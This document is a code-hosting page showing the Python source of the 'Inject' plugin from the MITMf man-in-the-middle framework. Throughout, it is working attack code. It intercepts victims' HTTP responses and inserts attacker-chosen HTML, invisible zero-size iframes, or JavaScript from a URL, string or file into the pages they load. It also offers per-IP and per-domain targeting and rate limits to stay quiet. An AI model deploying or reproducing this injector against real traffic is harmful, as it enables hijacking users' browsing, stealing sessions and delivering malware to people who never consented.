PageRenderTime 80ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 1ms

/plugins/inject.py

https://gitlab.com/BoTranVan/MITMf
Python | 195 lines | 165 code | 12 blank | 18 comment | 9 complexity | 57c21a8f6515fdab0ee0080d551516ea MD5 | raw file
  1. # Copyright (c) 2014-2016 Marcello Salvati
  2. #
  3. # This program is free software; you can redistribute it and/or
  4. # modify it under the terms of the GNU General Public License as
  5. # published by the Free Software Foundation; either version 3 of the
  6. # License, or (at your option) any later version.
  7. #
  8. # This program is distributed in the hope that it will be useful, but
  9. # WITHOUT ANY WARRANTY; without even the implied warranty of
  10. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  11. # General Public License for more details.
  12. #
  13. # You should have received a copy of the GNU General Public License
  14. # along with this program; if not, write to the Free Software
  15. # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
  16. # USA
  17. #
  18. import time
  19. import sys
  20. import re
  21. import chardet
  22. from bs4 import BeautifulSoup
  23. from plugins.plugin import Plugin
  24. class Inject(Plugin):
  25. name = "Inject"
  26. optname = "inject"
  27. desc = "Inject arbitrary content into HTML content"
  28. version = "0.4"
  29. def initialize(self, options):
  30. '''Called if plugin is enabled, passed the options namespace'''
  31. self.options = options
  32. self.ip = options.ip
  33. self.html_url = options.html_url
  34. self.html_payload = options.html_payload
  35. self.html_file = options.html_file
  36. self.js_url = options.js_url
  37. self.js_payload = options.js_payload
  38. self.js_file = options.js_file
  39. self.rate_limit = options.rate_limit
  40. self.count_limit = options.count_limit
  41. self.per_domain = options.per_domain
  42. self.black_ips = options.black_ips.split(',')
  43. self.white_ips = options.white_ips.split(',')
  44. self.white_domains = options.white_domains.split(',')
  45. self.black_domains = options.black_domains.split(',')
  46. self.ctable = {}
  47. self.dtable = {}
  48. self.count = 0
  49. def response(self, response, request, data):
  50. encoding = None
  51. ip = response.getClientIP()
  52. hn = response.getRequestHostname()
  53. try:
  54. mime = response.headers['Content-Type']
  55. except KeyError:
  56. return
  57. if "charset" in mime:
  58. match = re.search('charset=(.*)', mime)
  59. if match:
  60. encoding = match.group(1).strip().replace('"', "")
  61. else:
  62. try:
  63. encoding = chardet.detect(data)["encoding"]
  64. except:
  65. pass
  66. else:
  67. try:
  68. encoding = chardet.detect(data)["encoding"]
  69. except:
  70. pass
  71. if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime):
  72. if encoding is not None:
  73. html = BeautifulSoup(data.decode(encoding, "ignore"), "lxml")
  74. else:
  75. html = BeautifulSoup(data, "lxml")
  76. if html.body:
  77. if self.html_url:
  78. iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
  79. html.body.append(iframe)
  80. self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
  81. if self.html_payload:
  82. payload = BeautifulSoup(self.html_payload, "html.parser")
  83. html.body.append(payload)
  84. self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo)
  85. if self.html_file:
  86. with open(self.html_file, 'r') as file:
  87. payload = BeautifulSoup(file.read(), "html.parser")
  88. html.body.append(payload)
  89. self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo)
  90. if self.js_url:
  91. script = html.new_tag('script', type='text/javascript', src=self.js_url)
  92. html.body.append(script)
  93. self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo)
  94. if self.js_payload:
  95. tag = html.new_tag('script', type='text/javascript')
  96. tag.append(self.js_payload)
  97. html.body.append(tag)
  98. self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo)
  99. if self.js_file:
  100. tag = html.new_tag('script', type='text/javascript')
  101. with open(self.js_file, 'r') as file:
  102. tag.append(file.read())
  103. html.body.append(tag)
  104. self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo)
  105. data = str(html)
  106. return {'response': response, 'request':request, 'data': data}
  107. def _ip_filter(self, ip):
  108. if self.white_ips[0] != '':
  109. if ip in self.white_ips:
  110. return True
  111. else:
  112. return False
  113. if self.black_ips[0] != '':
  114. if ip in self.black_ips:
  115. return False
  116. else:
  117. return True
  118. return True
  119. def _host_filter(self, host):
  120. if self.white_domains[0] != '':
  121. if host in self.white_domains:
  122. return True
  123. else:
  124. return False
  125. if self.black_domains[0] != '':
  126. if host in self.black_domains:
  127. return False
  128. else:
  129. return True
  130. return True
  131. def _should_inject(self, ip, hn):
  132. if self.count_limit == self.rate_limit is None and not self.per_domain:
  133. return True
  134. if self.count_limit is not None and self.count > self.count_limit:
  135. return False
  136. if self.rate_limit is not None:
  137. if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
  138. return False
  139. if self.per_domain:
  140. return not ip+hn in self.dtable
  141. return True
  142. def options(self, options):
  143. options.add_argument("--js-url", type=str, help="URL of the JS to inject")
  144. options.add_argument('--js-payload', type=str, help='JS string to inject')
  145. options.add_argument('--js-file', type=str, help='File containing JS to inject')
  146. options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
  147. options.add_argument("--html-payload", type=str, help="HTML string to inject")
  148. options.add_argument('--html-file', type=str, help='File containing HTML to inject')
  149. group = options.add_mutually_exclusive_group(required=False)
  150. group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
  151. group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
  152. group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
  153. group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)")
  154. group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)")
  155. group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)")
  156. group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)")